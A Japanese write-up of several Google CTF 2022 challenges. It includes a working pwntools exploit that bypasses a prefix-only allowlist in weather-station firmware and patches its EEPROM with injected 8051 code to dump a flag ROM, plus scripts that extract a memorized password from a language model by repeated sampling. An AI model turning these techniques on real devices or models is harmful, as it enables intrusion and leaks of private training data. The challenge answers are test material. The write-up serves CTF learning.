LoginSignup
1

posted at

Google CTF 2022 writeup

5問、511点、93位。ムズい。

misc

APPNOTE.TXT

Every single archive manager unpacks this to a different file...

ZIPファイル。

ZIPファイルは、ファイルの末尾から読む。これによって、EXEファイルにZIPファイルをくっつけて、自己解凍書庫にしたりできる。ファイルの末尾にある……すなわち、最初に読む構造体はEnd of central directory recordである。

      end of central dir signature    4 bytes  (0x06054b50)
      number of this disk             2 bytes
      number of the disk with the
      start of the central directory  2 bytes
      total number of entries in the
      central directory on this disk  2 bytes
      total number of entries in
      the central directory           2 bytes
      size of the central directory   4 bytes
      offset of start of central
      directory with respect to
      the starting disk number        4 bytes
      .ZIP file comment length        2 bytes
      .ZIP file comment       (variable size)

「末尾から読むのに、末尾が可変サイズでどうするの?」と思うよね。そこは解凍ソフトが頑張る。末尾100バイトくらいを読んで、シグネチャ(0x06054b50)が出てきたら、可変サイズの.ZIP file commentがちょうどファイル末尾になるか確認するとか。

「コメントの中に他のEnd of central directory recordがあったら2通りの解釈ができてしまうのでは?」という気がしてくる。この問題のZIPファイルはまさにそういうファイル。

 :
0000ee70  67 31 38 50 4b 03 04 00  00 00 00 00 00 00 00 00  |g18PK...........|
0000ee80  00 e8 a3 d6 29 01 00 00  00 01 00 00 00 06 00 00  |....)...........|
0000ee90  00 66 6c 61 67 31 38 5f  50 4b 01 02 00 00 00 00  |.flag18_PK......|
0000eea0  00 00 00 00 00 00 00 00  e8 a3 d6 29 01 00 00 00  |...........)....|
0000eeb0  01 00 00 00 06 00 00 00  b8 01 00 00 00 00 00 00  |................|
0000eec0  00 00 73 ee 00 00 66 6c  61 67 31 38 50 4b 05 06  |..s...flag18PK..|
0000eed0  00 00 00 00 01 00 01 00  00 ee 00 00 cc 00 00 00  |................|
0000eee0  b8 01 50 4b 05 06 00 00  00 00 01 00 01 00 5a e4  |..PK..........Z.|
0000eef0  00 00 88 0a 00 00 a2 01  50 4b 05 06 00 00 00 00  |........PK......|
0000ef00  01 00 01 00 93 d7 00 00  65 17 00 00 8c 01 50 4b  |........e.....PK|
0000ef10  05 06 00 00 00 00 01 00  01 00 cc ca 00 00 42 24  |..............B$|
0000ef20  00 00 76 01 50 4b 05 06  00 00 00 00 01 00 01 00  |..v.PK..........|
0000ef30  69 bf 00 00 bb 2f 00 00  60 01 50 4b 05 06 00 00  |i..../..`.PK....|
0000ef40  00 00 01 00 01 00 ce b6  00 00 6c 38 00 00 4a 01  |..........l8..J.|
0000ef50  50 4b 05 06 00 00 00 00  01 00 01 00 29 a5 00 00  |PK..........)...|
0000ef60  27 4a 00 00 34 01 50 4b  05 06 00 00 00 00 01 00  |'J..4.PK........|
0000ef70  01 00 e7 9c 00 00 7f 52  00 00 1e 01 50 4b 05 06  |.......R....PK..|
0000ef80  00 00 00 00 01 00 01 00  42 8b 00 00 3a 64 00 00  |........B...:d..|
0000ef90  08 01 50 4b 05 06 00 00  00 00 01 00 01 00 21 86  |..PK..........!.|
0000efa0  00 00 71 69 00 00 f2 00  50 4b 05 06 00 00 00 00  |..qi....PK......|
0000efb0  01 00 01 00 71 73 00 00  37 7c 00 00 dc 00 50 4b  |....qs..7|....PK|
0000efc0  05 06 00 00 00 00 01 00  01 00 66 70 00 00 58 7f  |..........fp..X.|
0000efd0  00 00 c6 00 50 4b 05 06  00 00 00 00 01 00 01 00  |....PK..........|
0000efe0  e3 59 00 00 f1 95 00 00  b0 00 50 4b 05 06 00 00  |.Y........PK....|
0000eff0  00 00 01 00 01 00 ac 52  00 00 3e 9d 00 00 9a 00  |.......R..>.....|
0000f000  50 4b 05 06 00 00 00 00  01 00 01 00 a2 47 00 00  |PK...........G..|
0000f010  5e a8 00 00 84 00 50 4b  05 06 00 00 00 00 01 00  |^.....PK........|
0000f020  01 00 8e 33 00 00 88 bc  00 00 6e 00 50 4b 05 06  |...3......n.PK..|
0000f030  00 00 00 00 01 00 01 00  9a 2a 00 00 92 c5 00 00  |.........*......|
0000f040  58 00 50 4b 05 06 00 00  00 00 01 00 01 00 16 1c  |X.PK............|
0000f050  00 00 2c d4 00 00 42 00  50 4b 05 06 00 00 00 00  |..,...B.PK......|
0000f060  01 00 01 00 38 15 00 00  20 db 00 00 2c 00 50 4b  |....8... ...,.PK|
0000f070  05 06 00 00 00 00 01 00  01 00 2f 02 00 00 3f ee  |........../...?.|
0000f080  00 00 16 00 50 4b 05 06  00 00 00 00 01 00 01 00  |....PK..........|
0000f090  34 f0 00 00 50 00 00 00  00 00                    |4...P.....|
0000f09a

最後のほうの PK を書き換えていくと、解凍したときに出てくるファイルが変わっていく。ちなみに、ダミーのレコードが大量にあるので、先頭から読んでいってもダメ。

solve.py
d = open("dump.zip", "rb").read()
flag = b""
for i in range(len(d)-4):
  if d[i:i+4]==b"PK\x05\x06":
    offset = int.from_bytes(d[i+0x10:i+0x14], "little")
    print(hex(offset), d[offset-1:offset])
    flag += d[offset-1:offset]
print(flag)

End of central directory recordを探していって、見つかったら、対応するファイルを読むスクリプト。ファイルは全て1バイトで、構造が固定なので、読む部分は適当。

$ python3 solve.py
0xcc b'\n'
0xa88 b'C'
0x1765 b'T'
0x2442 b'F'
0x2fbb b'{'
0x386c b'p'
0x4a27 b'0'
0x527f b's'
0x643a b'7'
0x6971 b'm'
0x7c37 b'0'
0x7f58 b'd'
0x95f1 b'3'
0x9d3e b'r'
0xa85e b'n'
0xbc88 b'_'
0xc592 b'z'
0xd42c b'1'
0xdb20 b'p'
0xee3f b'}'
0x50 b'\n'
b'\nCTF{p0s7m0d3rn_z1p}\n'

CTF{p0s7m0d3rn_z1p}

MLSTEAL

Alice trained a neural network language model as her own personal assistant.
Unfortunately, she accidentally included her password in the training dataset
prefixed by "Alice Bobson's password is".

What's Alice's password?

なぜかストレージが丸ごとアーカイブされたのが配布ファイル。なんで? 解くのに関係があるのは、次のスクリプトと、共有ライブラリmlsteal.cpython-38-x86_64-linux-gnu.soと、数MBのweights.gzだけ。

query.py
#!/usr/bin/python3

import sys
import gzip
import pickle
import numpy as np

# Import our fancy neural network
from mlsteal import sample


if __name__ == "__main__":
    # Load the model weights
    weights = np.frombuffer(gzip.open("weights.gz","rb").read(), dtype=np.float32)

    # Get model prompt from first argument
    if len(sys.argv) == 1:
        print("Please pass one argument containing a string to prompt the language model")
        exit(1)
    prompt = bytes(sys.argv[1],'ascii')
    x = np.array(list(prompt), dtype=np.uint64)

    # Run neural network on the prompt
    y = sample(x, weights)

    # Print to stdout
    print(b"".join(np.array(sample(x, weights),dtype=np.uint8)))

100チーム以上解いているので、コンパイルされたニューラルネットワークを解析するとかはないだろう。

問題スクリプトをちょっと書き換えて、AIが生成した文章をひたすら出力させる。

query2.py
 :
    # Print to stdout
    for i in range(100000000):
      print(b"".join(np.array(sample(x, weights),dtype=np.uint8)))
$ python3 query2.py "Alice Bobson's password is"
b'Alice Bobson\'s password is CTF{ \n\nThe "National Architectural Architecture Act" has one or more hitages model at the first tim'
b"Alice Bobson's password is a \n\nObsoletu was chosen by the Governor of Manitoba in NASA's Government of Manitoba.\n\nHe lawsuit.\n"
b"Alice Bobson's password is CTF{ \n\n\nChile companies.\n\nChile television series, CHS started women's rights conference from the M"
b"Alice Bobson's password is CTF{ The zip-line income video game has received 3 UEL 30 vehicles and 3 degrees. From 1997 to 2001"
b"Alice Bobson's password is CTF{ \n\nClimate.\n\n\n\nGrand Duke\n\n\n\nGrand Duke is controlled by the Big Bear in Cleveland. It is the r"
b"Alice Bobson's password is a \n\n\n\nPatricia Baby\n\n\n\nBaby died of brain cancer in Beijing, aged 105.\n\n\n\nObergefell v. Wish, Massa"
b"Alice Bobson's password is CTF{ \n\nDeaths.\n\n<br>\n\n2 works\n\n\n\nDeaths of Deaths and Independence Science\n\n\n\nThe following i"
b"Alice Bobson's password is CTF{ \n\nBill Spider is a list of spite of starting the 19th century at Georgetown Highway. The town "
 :

CTF{ の次がいっこうに出てこない。スペースにはならなそうなので、... CTF{A, ... CTF{B, …と順番に出力させてみる。

query3.py
 :
    prompt = bytes(sys.argv[1],'ascii')
    for c in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789":
      x = np.array(list(prompt+c.encode()), dtype=np.uint64)

      print(b"".join(np.array(sample(x, weights),dtype=np.uint8)))
$ python3 query3.py "Alice Bobson's password is CTF{"
b"Alice Bobson's password is CTF{A8\n\n\n\n\n\n\n\n\n\n\nJames Heinroth\n\n\n\nHeinroth was born in Simcoe, County Coucharlos F. County, Illinois, Un"
b"Alice Bobson's password is CTF{BEMOL, Behaviour was used by the Maccabial Parish to novelist Robert Bush Ross.\n\nScott was born on De"
b"Alice Bobson's password is CTF{C3m0r1z4t10n-6LL-\n\nThe process has been made a higher point than the interior of the Bush executive o"
b"Alice Bobson's password is CTF{D7l/Delevingne\n\nDelevingne is a town in Delevingne County, California.\n\n\n\nBrasso bird\n\n\n\nOn a row of "
b"Alice Bobson's password is CTF{E3/E3.\n\n\n\nSuns\n\n\n\n\n\n\n\nDanny Frist\n\n\n\nAn example is a physical efficiency or ethology. It maks it diff"
b"Alice Bobson's password is CTF{F1's Appeal from Baronia, California.\n\n\n\nCuthree (Disney movie)\n\n\n\nCuthree is an American actress. Sh"
b"Alice Bobson's password is CTF{G3mm1r1z4t10n-1ST-\n\nOn November 7, 2014, Stanley was in falling from the Western and Simcoe County by"
b"Alice Bobson's password is CTF{House is CTF{ \n\nClub Women's Paso is a teacher. Clu is lived in lava state (now carrying a vacant lan"
b"Alice Bobson's password is CTF{It is CTF{ The club was founded in 1779 by Davy Lamby, of Milan at Benades. Before the 2008 model yea"
b"Alice Bobson's password is CTF{J3m/Euclid Raqqabiah, one of whom she won the bronze medal. On February 14, 2018, Salon felt that no "
b"Alice Bobson's password is CTF{K.\n\n\n\nBill Clinton (video game)\n\n\n\nBill Clinton is an adventure musician, singer originally has the u"
b"Alice Bobson's password is CTF{Lao has been in South Africa.\n\nAt age 104, the public was made. It is founded at Corker International"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4/7LL-\n\nUEFA Jaime\n\n\n\n\n\n\n\nMayor Montana Project\n\n\n\nMontana Promotion (moderatory Gene"
b"Alice Bobson's password is CTF{N3m0r1z4t10n-1S-4LL-\n\nHawker is a thermosetting activity activist from the British Empire. In 1988 se"
b"Alice Bobson's password is CTF{Ontario Bi Jianmer\n\n\n\n\n\n\n\nCPAC\n\n\n\nCPAC is a first-sex coach and important mammal. The current CPAC el"
b"Alice Bobson's password is CTF{PEC.\n\nIn 2006, Voinovich lost six years later, he began to nine days. He was one of the first African"
b"Alice Bobson's password is CTF{Q1 in Azerbaijan\n\n\n\n\n\n\n\nMatthew Gardner\n\n\n\nMatthew Gardner (born August 28, 1958) is an English super"
 :

CTF{M3m0r1z4t10n かな? ということで最初のスクリプトに、 CTF{M3m0r1z4t10n までを入力して続きを生成させてみる。

$ python3 query2.py "Alice Bobson's password is CTF{M3m0r1z4t10n"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1ST-\n\n\nForbids Pass\n\n\n\nForbids Pass is the 1950s-1ST-\n\nThe 1ST-present quotas were shown developed "
b"Alice Bobson's password is CTF{M3m0r1z4t10n--\n\n\nSTLA\n\n\n\n\n\n\n\nLucas Shreddin\n\n\n\n\n\n\n\nDespite being a United States-based PIA company origination f"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-4LL-\n\n\n2010 PBS series\n\n\n\nThe 2010 PBS series was a series-production engineer. For the example, th"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1ST-\n\nMurkowski was the Pennsylvania House of Representatives from 2003 to 2009. She had two childr"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1ST-\n\n\nKratos\n\n\n\nKratos is a hamlet in the State of Mississippi. The town is part of the Pacific Ri"
b"Alice Bobson's password is CTF{M3m0r1z4t10n--\n\n\nPacific\n\n\n\n \n\nWhen an outcome has been introduced in the show, it was written by Macha Kuci in "
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1ST-\n\n\n\nTodor Henry Henry Hinkar\n\n\n\n\n\nVermont County, Ohio\n\n\n\nVermont County is a county in Ohio de"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1ST-\n\nThe job with the condition is the significant digital sign of change. All conditions mainly l"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-\n\n\nCarter Carter Carter\n\n\n\nThe Carter Carter Carter is a carter of the art of Italian Provin"
b"Alice Bobson's password is CTF{M3m0r1z4t10n--\n\nPlot.\n\nWhen she was 167-187-55-65-year-old Rules started the entire campaign with a city and wor"
b"Alice Bobson's password is CTF{M3m0r1z4t10n--\n\n\nChester ran for nine terms and her recurring coach since 2006. \n\n\n\nChester Baylor\n\n\n\nChester Ju"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-\n\n\nMill and hybrid vigor\n\n\n\nDuring a tool, the mature resin is made from eight visited vigor"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\n\n\n\nChrysanthemum\n\n\n\nChrysanthemum is a horn tool red logical activity in the are"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-bizarro Trivian (The nation bizarro man had been used by the Pallisters of the Montana City on the "
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-\n\n\nAlice Bobson's password is a \n\nAlice Bobson's password is a \n\nAlice Bobson's password is "

CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D がそれっぽいので、続きを生成させる。

$ python3 query2.py "Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\n\n\n\n\nLaika "\n\n\n\n\n\n\n\n\nEconomy.\n\nOn 5 April 2016, Economy and Economy were provided into lawsu"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nReference C. announcement\n\nx\n\nRouen-living ma\n\nRouef ad Taubasu\n\nRouefun\n\nOhio\n\n\n\nLaHives\n\n\n\nLaRiv"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nRayal Horiel of the Nation\n\nRayal Horietto\n\nTexas\n\nTennessee\n\nTennessee\n\nRayal of the Nintendo-Leg"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nReferences.\n\n<br>\n\n\n\nIsakson Progressive\n\n\n\nThe Islamic River (Statistical Division of Cyren"
b'Alice Bobson\'s password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\n\n\n\nLife.\n\nKevin played for RNAs American motors who produced detail for "The Instinctive Olympic'
b'Alice Bobson\'s password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nNye was a member of the National Central Oklahoma Community.\n\nIn 2010, "Nile" ran for nine of the '
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\nThrone of the English Forest\n\n\n\nThe 1st forest of 1,87 or 400 forecasts (developed for animation"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\nAlice bobson's password is a \n\n\n\nTalibanana carpet\n\n\n\nA talibani rock was a few days after deslie"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nReferences.\n\n<br>\n\n\n\nWilberfoss prap\n\n\n\n\n\n\n\n\nEssential Hippos\n\n\n\n\n\n\n\nAcadia\n\n\n\n\n\n\n\nSurface v"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\n\n\n\n\n\n\nInstitutions.\n\nThe current Republican Party won a Golf Award for Death for Death in 1989.\n"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nReferences.\n\n<br>\n\n\n\nChrysanthemum\n\n\n\nChrysum is a common name. It is a German name for an i"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D}\n\n\nEva van Nueva died on July 4, 2015 from cancer at her home in Cleveland, Ohio on May 5, 2016 fro"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\nPat Toomey\n\n\n\nToomey died after a twenty-time year 2015, aged 75.\n\n\n\nLinda Bab\n\n\n\nRacip was marr"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D}\n\n\nRubber is a town in the Wall Turkey region of the cantons in Fort Georgia. The Fort Georgia Stat"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\nWally Moore Polling\n\n\n\nWally Polling died on July 23, 2021 in Turkey from a heart attack, aged 98"
 :

} が出てきたので、これでは? → 不正解。正解は先頭が小文字の CTF{m3m0r1z4t10n-1S-4LL-y0u-N33D} だった。AIは「 Mm も似たようなものだろ」という学習をしてしまうのか?

CTF{m3m0r1z4t10n-1S-4LL-y0u-N33D}

hardware

WEATHER

Our DYI Weather Station is fully secure! No, really! Why are you laughing?! OK, to prove it we're going to put a flag in the internal ROM, give you the source code, datasheet, and network access to the interface.

照度計とか温度計とかをマイコンに繋いで、叩けるようにしたらしい。

image.png

firmware.c
 :
const char *ALLOWED_I2C[] = {
  "101",  // Thermometers (4x).
  "108",  // Atmospheric pressure sensor.
  "110",  // Light sensor A.
  "111",  // Light sensor B.
  "119",  // Humidity sensor.
  NULL
};
 :
bool is_port_allowed(const char *port) {
  for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
    const char *pa = *allowed;
    const char *pb = port;
    bool allowed = true;
    while (*pa && *pb) {
      if (*pa++ != *pb++) {
        allowed = false;
        break;
      }
    }
    if (allowed && *pa == '\0') {
      return true;
    }
  }
  return false;
}
 :

ファームウェアに脆弱性がある。 is_port_allowed は、センサーのポートしか叩けないようにしているつもりで、接頭辞しかチェックしていない、 "1011234" とかが通る。8ビット変数に格納されるので、末尾を適当に変えれば好きなポートにアクセスできる。

solve.py
from pwn import *

s = remote("weather.2022.ctfcompetition.com", 1337)

#for i in range(256):
for i in range(120, 120+256):
  p = "101"+"%03d"%i
  s.sendlineafter(b"? ", f"r {p} 128".encode())
  d = s.recvuntil(b"-end")
  print(p, int(p)%256)
  print(d.decode())

こんな感じで順番にアクセスしてみると、 "101153" (=33)から読み込むことができた。ファームウェアが格納されているEEPROMらしい。配布されたPDFの仕様書によると、1バイトの x を書き込んでから読み込むと、 mem[64*x:64*x+64] が読み出せる。

ファームウェアをダンプ。

solve2.py
from pwn import *

def read(p, n):
  s.sendlineafter(b"? ", f"r {p} {n}".encode())
  print(s.recvline().decode()[:-1])
  d = b""
  while True:
    l = s.recvline()[:-1].decode()
    if l=="-end":
      break
    d += bytes(map(int, l.split()))
  return d

def write(p, d):
  d = [p, len(d)] + d
  s.sendlineafter(b"? ", ("w "+" ".join(map(str, d))).encode())
  print(s.recvline()[:-1].decode())

def dump_rom():
  with open("rom.bin", "wb") as f:
    for i in range(64):
      print(i)
      write(101153, [i])
      d = read(101153, 64)
      f.write(d)
dump_rom()

CTF-8051μCという名前で、独自ぽさを出しているけれど、8051でしょう。Radare2で逆アセンブル。

>c:\program1\radare2\bin\r2.bat -a 8051 rom.bin
[0x00000000]> pd 2000
Do you want to print 2011 lines? (y/N) y
        ,=< 0x00000000      020006         ljmp 0x0006
     ,..--> 0x00000003      0204e4         ljmp 0x04e4
     |::`-> 0x00000006      758130         mov 0x81, #0x30             ; '0'
     |::                                                               ; [0x10000181:1]=0
     |::    0x00000009      120886         lcall 0x0886
     |::    0x0000000c      e582           mov a, 0x82                 ; [0x10000182:1]=0
     |::,=< 0x0000000e      6003           jz 0x0013
     |`===< 0x00000010      020003         ljmp 0x0003
     | :`-> 0x00000013      7900           mov r1, #0x00
     | :    0x00000015      e9             mov a, r1
     | :    0x00000016      4400           orl a, #0x00
     | :,=< 0x00000018      601b           jz 0x0035
     | :|   0x0000001a      7a00           mov r2, #0x00
     | :|   0x0000001c      900a02         mov dptr, #0x0a02           ; [0x20000a02:1]=0
     | :|   0x0000001f      7801           mov r0, #0x01
     | :|   0x00000021      75a002         mov 0xa0, #0x02             ; [0x100001a0:1]=0
    .-.---> 0x00000024      e4             clr a
    :|::|   0x00000025      93             movc a, @a+dptr
    :|::|   0x00000026      f2             movx @r0, a
 :

で、仕様のPDFを見ると、このEEPROMはビットを1から0に書き換えることだけはできるらしい。0から1は無理。また、FlagROMは FLAGROM_ADDR に読みたいバイトの位置を書き込むと、 FLAGROM_DATA がそのバイトになるらしい。

それなら適当にプログラムを書き換えて、レジスタがSFRレジスタを差し替えれば良いかと思ったけれど、 FLAGROM_ADDR0xee で、 FLAGROM_DATA0xef 。ビットをクリアすることしかできないという条件だと無理。

firmware.c
 :
// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;

// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;

// I2C DMA controller.
__sfr __at(0xe1) I2C_STATUS;
__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;
__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;
__sfr __at(0xe4) I2C_BUFFER_SIZE;
__sfr __at(0xe6) I2C_ADDRESS;  // 7-bit address
__sfr __at(0xe7) I2C_READ_WRITE;

// Power controller.
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) POWERSAVE;
 :

この 0xee とかをアドレスと言っている解説記事があり、センサーとの読み書きには 0x0180 あたりのアドレスを使っているので、その処理中の上位バイトの 0100 にしてしまえば良いのではと思ったが、ダメ。アドレスはアドレスでも何か違うらしい。

末尾の未使用領域が ff になっているので、ここにプログラムを書き込んで、飛ばすことにした。末尾のアドレスのほうが立っているビットが多いので、ジャンプ命令を書き換えても飛ばすのは無理だけれど、ジャンプ命令ではなく立っているビットが多い適当な命令を書き換えれば良い。

書き込んだプログラムで出力までしたかったが、上手く動かせなかったので、センサーから読み込んだ値を表示するあたりの処理に飛ばした。これも多分アドレスに色々とあるせい。フラットアドレス空間って幸せだったんだなぁ。

solve2.py
from pwn import *

def read(p, n):
  s.sendlineafter(b"? ", f"r {p} {n}".encode())
  print(s.recvline().decode()[:-1])
  d = b""
  while True:
    l = s.recvline()[:-1].decode()
    if l=="-end":
      break
    d += bytes(map(int, l.split()))
  return d

def write(p, d):
  d = [p, len(d)] + d
  s.sendlineafter(b"? ", ("w "+" ".join(map(str, d))).encode())
  print(s.recvline()[:-1].decode())

def dump_rom():
  with open("rom.bin", "wb") as f:
    for i in range(64):
      print(i)
      write(101153, [i])
      d = read(101153, 64)
      f.write(d)
#dump_rom()

def clear(addr, b):
  d = [0]*64
  d[addr%64] = b
  write(101153, [addr//64, 0xa5, 0x5a, 0xa5, 0x5a]+d)

def hexdump(d):
  for i in range(0, len(d), 16):
    print(" ".join("%02x"%b for b in d[i:i+16]))

flag = ""
for p in range(0x100):
  s = remote("weather.2022.ctfcompetition.com", 1337)

  code = [
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    # mov 0xee #p
    0x75, 0xee, p,
    # mov a, 0xef
    0xe5, 0xef,
    # ljmp 0x06de
    0x02, 0x06, 0xde,

    ## mov dptr, #0x0020
    #0x90, 0x00, 0x20,
    ## mov 0xf0, #0x40
    #0x75, 0xf0, 0x40,
    ## mov @dptr, a
    #0xf0,

    ## mov dptr, #0x0020
    #0x90, 0x00, 0x20,
    ## mov 0xf0, #0x40
    #0x75, 0xf0, 0x40,
    ## lcall 0x0123 (serial_print)
    #0x12, 0x01, 0x23,

    ## ljmp 0x0a0e
    #0x02, 0x0a, 0x0e,
  ]

  code += [0]*(64-len(code))
  code = [c^0xff for c in code]
  write(101153, [0xa00//64, 0xa5, 0x5a, 0xa5, 0x5a]+code)

  # cjne ... -> ljmp 0x0a0e
  clear(0x0513, 0xb9)

  s.sendline(b"aaa")

  flag += chr(int(s.recvline().decode()[2:-2]))
  print(flag)

  s.close()
$ python3 solve2.py
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
C
[*] Closed connection to weather.2022.ctfcompetition.com port 1337
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
CT
[*] Closed connection to weather.2022.ctfcompetition.com port 1337
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
CTF
[*] Closed connection to weather.2022.ctfcompetition.com port 1337
 :
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
CTF{DoesAnyoneEvenReadFlagsAnymore?
[*] Closed connection to weather.2022.ctfcompetition.com port 1337
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
CTF{DoesAnyoneEvenReadFlagsAnymore?}
[*] Closed connection to weather.2022.ctfcompetition.com port 1337
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
CTF{DoesAnyoneEvenReadFlagsAnymore?}

CTF{DoesAnyoneEvenReadFlagsAnymore?}

crypto

1問も解けていない……。

CYCLING

全然分からなかったけど、これ好き。

RSAで暗号文を( $d$ 乗ではなく) $e$ 乗することを繰り返しても、平文に戻る。剰余環だから、そりゃいつかは戻るのでしょう。その回数が $2^{1025}-3$ 回なので、48時間のコンテスト中に頑張ってという問題。$C^{e^{2^{1025}-3}} \mod n$ を計算するだけ。とてもシンプル。バイナリ法みたいなことができるんじゃないかと思ったけど、分からん。

chall.py
 :
e = 65537
n = 0x99efa9177387907eb3f74dc09a4d7a93abf6ceb7ee102c689ecd0998975cede29f3ca951feb5adfb9282879cc666e22dcafc07d7f89d762b9ad5532042c79060cdb022703d790421a7f6a76a50cceb635ad1b5d78510adf8c6ff9645a1b179e965358e10fe3dd5f82744773360270b6fa62d972d196a810e152f1285e0b8b26f5d54991d0539a13e655d752bd71963f822affc7a03e946cea2c4ef65bf94706f20b79d672e64e8faac45172c4130bfeca9bef71ed8c0c9e2aa0a1d6d47239960f90ef25b337255bac9c452cb019a44115b0437726a9adef10a028f1e1263c97c14a1d7cd58a8994832e764ffbfcc05ec8ed3269bb0569278eea0550548b552b1
ct = 0x339be515121dab503106cd190897382149e032a76a1ca0eec74f2c8c74560b00dffc0ad65ee4df4f47b2c9810d93e8579517692268c821c6724946438a9744a2a95510d529f0e0195a2660abd057d3f6a59df3a1c9a116f76d53900e2a715dfe5525228e832c02fd07b8dac0d488cca269e0dbb74047cf7a5e64a06a443f7d580ee28c5d41d5ede3604825eba31985e96575df2bcc2fefd0c77f2033c04008be9746a0935338434c16d5a68d1338eabdcf0170ac19a27ec832bf0a353934570abd48b1fe31bc9a4bb99428d1fbab726b284aec27522efb9527ddce1106ba6a480c65f9332c5b2a3c727a2cca6d6951b09c7c28ed0474fdc6a945076524877680
# Decryption via cycling:
pt = ct
for _ in range(2**1025 - 3):
  pt = pow(pt, e, n)
# Assert decryption worked:
assert ct == pow(pt, e, n)

# Print flag:
print(pt.to_bytes((pt.bit_length() + 7)//8, 'big').decode())

pwn

手つかず……。

reversing

JS SAFE 4.0

開発者ツールを開くとタブが固まってうっとおしい。

// Prevent setting breakpoints €from the dev console UI directly€ by defining the function as string
var code = `\x60
  console.log({flag}); 
  for (i=0; i<100; i++) setTimeout('debugger');
  if ("\x24\x7B\x22   .?  K 7 hA  [Cdml<U}9P  @dBpM) -$A%!X5[ '% U(!_ (]c 4zp$RpUi(mv!u4!D%i%6!D'Af$Iu8HuCP>qH.*(Nex.)X&{I'$ ~Y0mDPL1 U08<2G{ ~ _:h\ys! K A( f.'0 p!s    fD] (  H  E < 9Gf.' XH,V1 P * -P\x22\x7D" != ("\x24\x7B\x22" + checksum(code) + "\x22\x7D")) while(1);
  flag = flag.split('');
  i‍ = 1337;
  pool = 'c_3L9zKw_l1HusWN_b_U0c3d5_1'.split('');
  while (pool.length > 0) if(flag.shift() != pool.splice((i = (i || 1) * 16807 % 2147483647)%pool.length, 1)[0]) return false;
  return true;
\x60`;
setTimeout("x = Function('flag', " + code + ")");  

// Check password and decode €encrypted€ data from localstorage
function open_safe() {
  keyhole.disabled = true;
  password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);
  document.body.className = (password && x(password[1])) ? 'granted' : 'denied';
  if (document.body.className == 'denied') return;
  password = Array.from(password[1]).map(c => c.charCodeAt());
  encrypted = JSON.parse(localStorage.content || '');
  content.value = encrypted.map((c,i) => c ^ password[i % password.length]).map(String.fromCharCode).join('')
}

開発者ツールを開くと固まるので、アドレスバーに javascript:alert(x) とかを入れて解析した。長い if 文のところ、単にチェックサムが挿入されるだけに見えて、チェックサムにこういう文字列が含まれている。

8 @@\di "),i+=(x+"").length+12513|1,!("X HA 8 @

ちなみに、 i‍ = 1337 のところの i は後ろに余計な文字が付いているので、 i ではない。コードが改竄されていなければ、 i は13337となる。それでチェックが通る文字列は、 CTF{W0w_5ucH_N1c3_d3bU9_sK1lLz_} 。でも、これでは通らないので、悩みまくった。コードをちょっとでも書き換えると、 CTF{W0w_5ucH_N1c3_d3bU9_sK1lLz_} が通るのに、元のコードではなぜか通らない。

